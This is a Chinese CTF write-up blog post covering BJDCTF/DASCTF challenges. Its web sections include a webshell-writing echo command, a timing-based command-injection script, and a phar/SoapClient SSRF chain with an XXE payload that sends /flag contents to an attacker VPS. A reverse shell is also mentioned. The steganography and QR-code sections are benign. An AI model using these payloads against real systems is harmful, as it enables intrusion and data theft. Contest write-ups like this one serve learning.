[BJDCTF – 3nd]&&[DASCTF]部分wp

/ 0评 / 0

帮帮小红花


shell_exec 反弹shell弹不回来没通外网。命令盲注?太麻烦了
结果直接写一个新文件。
echo "<?php system('cat /flag')?>" > ha1c9on.php
MD5下就是flag
非预期。预期解应该是命令盲注

import requests
import time
import string
s = "{}_abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload = "BJD{"
for j in range(50):
  for i in s:
    # time.sleep(0.5)
    url = "http://183.129.189.60:10070/?imagin="+ 'grep -e "{}" /flag%26%26sleep 2'.format(payload+i)
    first = time.time()
    r = requests.get(url)
    second = time.time()
    offset = second-first
    if offset > 2:
        payload = payload+i
        print(payload)
        break

gob

是一个htaccess的题,需要先删除已有的.htaccess。.我在放屁
这题有点坑说实话。传了半天的php发现就是不解析,已经开始搜怎么删除htaccess了
后来继续盲测,发现cookie中有类似于base64加密的字样,解密发现是文件名之类的,可能要目录穿越了
返回文件名,所以尝试在文件名穿越

返回了一个新cookie,哪里可以读文件呢?
show.php  所以直接在show.php改cookie拿到flag
看到cookie就应该想到的,太菜了
看了下后端,是go写的?


 Multiplayer Sports

首先sqlmap能注入出用户名和密码。有一个hint


sqlmap注入应该是非预期感觉
然后查看源码,是用golang写的

package main
// @router /getflag [get]
func (c *GetFlagControoler) GetFlag() {
    if c.GetIp() == "127.0.0.1" {
        c.Data["flag"] = beego.AppConfig.String("flag")
    }
    c.TplName = "flag/flag.tpl"
}
func request(Url string, CookieValue string) string {
    client := &http.Client{}
    var req *http.Request
    req, _ = http.NewRequest("GET", Url, nil)
    Cookie := &http.Cookie{Name: "auth", Value: CookieValue}
    req.AddCookie(Cookie)
    resp, _ := client.Do(req)
    defer resp.Body.Close()
    b, _ := ioutil.ReadAll(resp.Body)
    fmt.Println(string(b))
    return string(b)
}
func parseUrl(Url string) string {
    res, _ := url.ParseRequestURI(Url)
    if res.Host == "" {
        return "http://localhost:" + beego.AppConfig.String("httpport") + res.Path
    } else {
        return Url
    }
}

大概可以看出来 如果访问的时候没有IP会自动拼接localhost。所以直接带着cookie访问就有flag


ezupload

www.zip泄露。
findpic.php

<?php
   header("content-type:text/html;charset=utf-8");
   error_reporting(0);
   class showpic{
      public $picname;
      public $finish;
      function __construct($picn){
         $this->picname = $picn;
         $this->finish = $this;
      }
      function show(){
         echo "alert('find!');";
         echo "location.href='$this->picname';";
      }
      function alert(){
         echo "alert('finished.');";
      }
      function __destruct(){
         $this->finish->alert();
      }
   }
   $pic_path = "./upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
   if(isset($_SESSION['login'])){
      if(isset($_POST["find"]) && $_POST["find"] == "find"){
         chdir($pic_path);
         $pic = $_POST['picname'];
         if(preg_match("/^(http|https|ftp|file|dict|gopher|phar|php)/i", $pic) or preg_match("/\.\.|\.\.\/|flag|html|js|css|php/i", $pic)){
            die("alert('Hacker!!');history.go(-1);");
         }
         if(!exif_imagetype($pic)) {die("alert('Hacker!!!');history.go(-1);");}
         if(file_exists($pic)){
            $picn = $pic_path . "/" . $pic;
            $pic = new showpic($picn);
            $pic->show();
         }
         else{
            echo "alert('未找到该图片,请确认该图片是否被上传成功.');history.go(-1);";
         }
      }
   }

getkey.php

<?php
   header("content-type:text/html;charset=utf-8");
   session_start();
   function getkey()
   {
      $key = '';
      $chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
      for ($i = 0; $i < 48; $i++)
      {
         $key = $key . $chars[random_int(0, 61)];
      }
      $_SESSION['key'] = $key;
      return $key;
   }
   function getreferer() {
      static $referer;
      if (isset($_SERVER['HTTP_REFERER'])) {
            $referer = $_SERVER['HTTP_REFERER'];
         }
      elseif(isset($_POST['URL_REFERER'])){
            $referer = $_POST['URL_REFERER'];
         }
      else{
         die("Where are you from?");
      }
      return $referer;
   }
      $key = getkey();
      $url = getreferer();
      if(!preg_match("/^http[s]{0,1}:\/\//i", $url)){
         die("What do you want to do?");
      }
      $host = parse_url($url, PHP_URL_HOST);
      if(preg_match("/^google\.com$/i", $host) or preg_match("/(.*)\.google\.com$/i", $host)){
         $headers = get_headers($url,1);
         if($headers['dd'] === 'MeAquaNo_1!!!'){
            echo $key;
         }
         else{
            echo 'dd beheading!';
         }
      }
      else{
         die("Only dd working at Google can get the key!");
      }

因为上传文件首先需要登录,所以先看怎么获取KEY,发现代码逻辑是获取referer头或者POST:url_referer
需要满足google.com并且返回头中需要满足$headers['dd'] === 'MeAquaNo_1!!!',很显然goole.com没有这个头。尝试绕过
试了亿次,在VPS写一个返回头符合其要求,referer头好像不能解析%00,就POST
URL_REFERER=http://ip%00.google.com

登录查看文件上传,有flag.php

flag.php关键代码如下:
$classname = $_GET['classname'];
$data = $_GET['data'];
$class = new $classname($data['a'], $data['b']);
Only users from the website can request this page. flag in /flag, have fun!

源码发现可能是phar。猜测phar+soap+ssrf
构建

<?php
class showpic{
    public $picname;
    public $finish;
}
$b = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?classname=SimpleXMLElement&data[a]=<?xml+version="1.0"?><!DOCTYPE+a+[<!ENTITY+%+file+SYSTEM+"php://filter/convert.base64-encode/resource=/flag"><!ENTITY+%+dtd+SYSTEM+"http://ip/evil.xml">%dtd;%send;]><abc></abc>&data[b]=2','uri'=> "aaab"));
$a= new showpic();
$a->finish=$b;
$phar = new Phar("8.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"." <?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();/code></pre>
<p>在自己的VPS写一个xml文件内容是:</p>
<div>
<div><strong><!ENTITY % payload "<!ENTITY % send SYSTEM 'http://ip:7000/?content=%file;'>"> %payload;</strong></div>
</div>
<div></div>
<div>传上去然后监听。</div>
<div><a href="http://ha1c9on.top/wp-content/uploads/2020/05/QQ截图20200523103212.jpg"><img class="alignnone size-full wp-image-1159" src="http://ha1c9on.top/wp-content/uploads/2020/05/QQ截图20200523103212.jpg" alt="" width="554" height="190" /></a></div>
<div>返回flag</div>
<div></div>
<hr />
<h3><strong>babyweb</strong></h3>
<p>首先发现零宽字节加密,写个代码解密下
<a href="https://github.com/offdev/zwsp-steg-js">https://github.com/offdev/zwsp-steg-js</a></p>
<pre>const ZwspSteg = require('zwsp-steg');
let decoded = ZwspSteg.decode('Pass​​​​‏‏‍​​​​‏​‌​​​​‏‍‏​​​​‏‍‌​​​​‏‎‏​​​​‏‌​​​​​‏​​​​​​‏‎‌​​​​‏​‏​​​​‎‏‏​​​​‏​‏​​​​‎‏‍​​​​‏‍‏​​​​‎‏‍​​​​‎‏‏​​​​‏‎‌​​​​‏​‌​​​​‏‍‏​​​​‏‎​​​​​‏‌​​​​​‏‍​​​​​‏‎‎​​​​‏‌​​​​​‏‎​​​​​‏‌​​​​​‎‏‎​​​​‏‌‎​​​​‏​‌word_is_here');
console.log(decoded);</pre>
<p>获得压缩包密码:zerowidthcharactersinvisible
图片打不开,十六进制发现是吧png倒过来了,翻转出现图片
<a href="http://ha1c9on.top/wp-content/uploads/2020/05/QQ截图20200522154538.jpg"><img class="alignnone size-full wp-image-1144" src="http://ha1c9on.top/wp-content/uploads/2020/05/QQ截图20200522154538.jpg" alt="" width="789" height="151" /></a>
不认识密码就google下
<a href="http://ha1c9on.top/wp-content/uploads/2020/05/QQ图片20200522154700.png"><img class="alignnone size-full wp-image-1145" src="http://ha1c9on.top/wp-content/uploads/2020/05/QQ图片20200522154700.png" alt="" width="337" height="512" /></a>
<a href="http://ha1c9on.top/wp-content/uploads/2020/05/v2-9b15f2fb045a1c457889f6786a4c875d_1440w.jpg"><img class="alignnone size-full wp-image-1147" src="http://ha1c9on.top/wp-content/uploads/2020/05/v2-9b15f2fb045a1c457889f6786a4c875d_1440w.jpg" alt="" width="569" height="225" /></a>
 
<a href="http://ha1c9on.top/wp-content/uploads/2020/05/微信图片_20200522155200.jpg"><img class="alignnone size-full wp-image-1146" src="http://ha1c9on.top/wp-content/uploads/2020/05/微信图片_20200522155200.jpg" alt="" width="743" height="518" /></a>
BJD{UVWHZAITWAU}</p>
<hr />
<h3><i class="fa fa-question-circle"></i> /bin/cat 2</h3>
<p>缩小发现类似二维码
转成01块再转成二维码就行</p>
<pre><code class="prettyprint"  class="language-python">from PIL import Image
x = 58
y = 58
im = Image.new('RGB', (x, y))
w = (255, 255, 255)
b = (0, 0, 0)
with open('C:\\Users\\Admin\\Desktop\\1.txt') as f:
    for i in range(29):
        ff = f.readline()
        for j in range(y):
            if ff[j] == '1':
                im.putpixel((i * 2, j), b)
                im.putpixel((i * 2 + 1, j), b)
            else:
                im.putpixel((i * 2, j), w)
                im.putpixel((i * 2 + 1, j), w)
im.show("flag.jpg")

Questionnaire

问卷题,答案在F12


manual

Hint0 试试linux的man命令,找找不同
Hint0.5 (关于登录密码)试试网站的分享功能
Hint1 本题无需提权,请仔细查看根目录下的文件⌯'ㅅ'⌯
Hint2 据说会ps的师傅都做出来了
Hint3 f1a9.py的独白:我的真实身份是web server (。•ᴗ-)_

这题tttttql顶了,做了一天多
首先连上后有emoji 🐀🐾🌴🚜🍋🐊🍇🐂🍓🎑🐈🐟💁🚟🍗
解密得密码:C0dEmOj!so4UnNy
ssh连上后是一个界面

瞎鸡儿测了一会儿发现O是设置。发现有一个

引人注目,可能是反弹shell。再测亿次
靶机没有curl 那就perl
反弹shell到远程

有f1a9.py。但是权限是700,读不到。根目录有run.sh

ps命令发现这个python文件一直在运行。

根目录下的/run/lock目录可写。但是没啥用
这里卡了很久,给出的hint又是ps命令。。。
六点给出hint,python是web server(ps提示有啥用???)
用python3扫下端口,发现2333端口开放,用request库请求下
返回了一吨base64,解开是文言文(周易)

天尊地卑,乾坤定矣。卑高以陳,貴賤位矣。動靜有常,剛柔斷矣。方以類聚,物以群分,吉凶生矣。在天成象,在地成形,變化見矣.是故,剛柔相摩,八卦相盪。鼓之以雷霆,潤之以風雨,日月運行,一寒一暑,乾道成男,坤道成女。乾知大始,坤作成物。乾以易知,坤以簡能.易則易知,簡則易從。易知則有親,易從則有功。有親則可久,有功則可大。可久則賢人之德,可大則賢人之業。易簡,而天下之理得矣;天下之理得,而成位乎其中矣.聖人設卦觀象,繫辭焉而明吉凶,剛柔相推而生變化.是故,吉凶者,失得之象也。悔吝者,懮虞之象也。變化者,進退之象也。剛柔者,晝夜之象也。六爻之動,三極之道也。是故,君子所居而安者,易之序也。所樂而玩者,爻之辭也.是故,君子居則觀其象,而玩其辭;動則觀其變,而玩其卤。是以自天祐之,吉旤不利.彖者,言乎象者也。爻者,言乎變者也。吉凶者,言乎其失得也。悔吝者,言乎其小疵也。日咎者,善補過也.是故,列貴賤者存乎位。齊小大者,存乎卦。辯吉凶者,存乎辭。懮悔吝者,存乎介。震无咎者,存乎悔。是故,卦有小大,辭有險易。辭也者,各指其所之.易與天地準,故能彌綸天地之道。仰以觀於天文,俯以察於地理,是故知幽明之故。原始反終,故知死生之說。精氣為物,遊魂為變,是故知鬼神之情狀。與天地相似,故不違。知周乎萬物,而道濟天下,故不過。旁行而不流,樂天知命,故不懮。安土敦乎仁,故能愛。範圍天地之化而不過,曲成萬物而不遺,通乎晝夜之道而知,故神旣方而易旣體.一陰一陽之謂道,繼之者善也,成之者性也。仁者見之謂之仁,知者見之謂之知。百姓日用而不知,故君子之道鮮矣。顯諸仁,藏諸用,鼓萬物而不與聖人同懮,盛德大業至矣哉。富有之謂大業,日新之謂盛德。生生之謂易,成象之謂乾,效法之為坤,極數知來之謂卪,通變之謂事,陰陽不測之謂神.夫易,廣矣大矣,以言乎遢,則不禦;以言乎邇,則靜而正;以言乎天地之間,則備矣。夫乾,其靜也專,其動也直,是以大生焉。夫坤,其靜也翕,其動也闢,是以廣生焉。廣大配天地,變通配四時,陰陽之義配日月,易簡之善配至德.子曰:「易其至矣乎!」,夫易,聖人所以崇德而廣業也。知崇禮卑,崇效天,卑法地。天地設位,而易行乎其中矣,成性存存,道義之門.聖人有以見天下之賾,而擬諸其形容,象其物宜,是故謂之象。聖人有以見天下之動,而觀其會通,以行其典禮。繫辭焉,以斷其吉凶,是故謂之爻。言天下之至賾,而不可惡也。言天下之至動,而不可亂也。擬之而後言,議之而後動,擬議以成其變化。「鳴鶴在陰,其子和之,我有好爵,吾與爾靡之。」子曰:「君子居其室,出其言,善則千里之外應之,況其邇者乎,居其室,出其言不善,則千里之外違之,況其邇者乎,言出乎身,加乎民,行發乎邇,見乎遠。言行君子之樞機,樞機之發,榮辱之主也。言行,君子之所以動天地也,可不慎乎。」「同人,先號咷而後笑。」子曰:「君子之道,或出或處,或默或語,二人同心,其利斷金。同心之言,其臭如蘭。」「初六,藉用白茅,无咎。」子曰:「苟錯諸地而可矣。藉之用茅,何咎之有?慎之至也。夫茅之為物薄,而用可重也。慎斯術也以往,其无所失矣。」「勞謙君子,有終吉。」子曰:「勞而不伐,有功而不德,厚之至也,語以其功下人者也。德言盛,禮言恭,謙也者,致恭以存其位者也。」「亢龍有悔」,子曰:「貴而无位,高而无民,賢人在下位而无輔,是以動而有悔也。」「不出戶庭,无咎。」子曰:「亂之所生也,則言語以為階。君不密,則失臣;臣不密,則失身;幾事不密,則害成。是以君子慎密而不出也。」子曰:「作易者其知盜乎?易曰:負且乘,致寇至。負也者,小人之事也。乘也者,君子之器也。小人而乘君子之器,盜思奪之矣!上慢下暴,盜思伐之矣!慢藏誨盜,冶容誨淫,易曰:「負且乘,致寇至,盜之招也。」天一地二,天三地四,天五地六,天七地八,天九地十。天數五,地數五,五位相得而各有合。天數二十有五,地數三十,凡天地之數,五十有五,此所以成變化,而行鬼神也。大衍之數五十,其用四十有九。分而為二以象兩,掛一以象三,揲之以四以象四時,歸奇於扐以象閏。五歲再閏,故再扐而後掛.乾之策,二百一十有六;坤之策,百四十有四,凡三百有六十,當期之日。二篇之策,萬有一千五百二十,當萬物之數也。是故,四營而成易,十有八變而成卦。八卦而小成,引而伸之,觸類而長之,天下之能事畢矣。顯道神德行,是故可與酬酢,可與祐神矣。子曰:「知變化之道者,其知神之所為乎。」易有聖人之道四焉;以言者尚其辭,以動者尚其變,以制器者尚其象,以卜筮者尚其卯。以君子將有為也,將有行也,問焉而以言,其受命也如響,旯有遯近幽深,遂知來物。非天下之至精,其孰能與於此.參伍以變,錯綜其數,通其變,遂成天下之文。極其數,遂定天下之象。非天下之至變,其孰能與於此。易旣思也,旣為也,寂然不動,感而遂通天下之故。非天下之至神,其孰能與於此.夫易,聖人之所以極深而研幾也。唯深也,故能通天下之志。唯幾也,故能成天下之務。唯神也,故不疾而速,不行而至。子曰:「易有聖

搜了半天也不知道有啥用。后来用另一个工具解了下base64发现了不可见字符。遂尝试base64隐写
解得:hTtP://999.TaQini.SpAcE
访问:

八卦?搜到了这个:

没有用
源码提示: <!-- play it on your smart phone -->
手机打开也没反应。。。
看到一个//cdn.jsdelivr.net/gh/TaQini/CDN@master/emoji.js打开发现是aaencode
解密https://www.qtool.net/decode获得flag

 


JAVAWEB JSP NOTE基本不会。。还需要提升许多

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注